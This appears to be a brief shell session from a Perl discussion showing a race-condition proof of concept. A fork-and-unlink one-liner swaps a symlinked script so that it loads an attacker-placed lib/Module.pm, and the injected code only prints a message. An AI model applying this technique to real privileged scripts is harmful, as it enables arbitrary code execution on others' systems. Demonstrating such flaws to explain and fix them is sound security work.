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$ cat ../safe/script.pl
#!/usr/bin/perl -wT
...
$ cat ../safe/lib/Module.pm
print("All's well\n");
1;

$ ln -s ../safe/script.pl

$ cat lib/Module.pm
print("Code injection!\n");
1;

$ ../safe/script.pl
All's well

$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; 
+unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01
Code injection!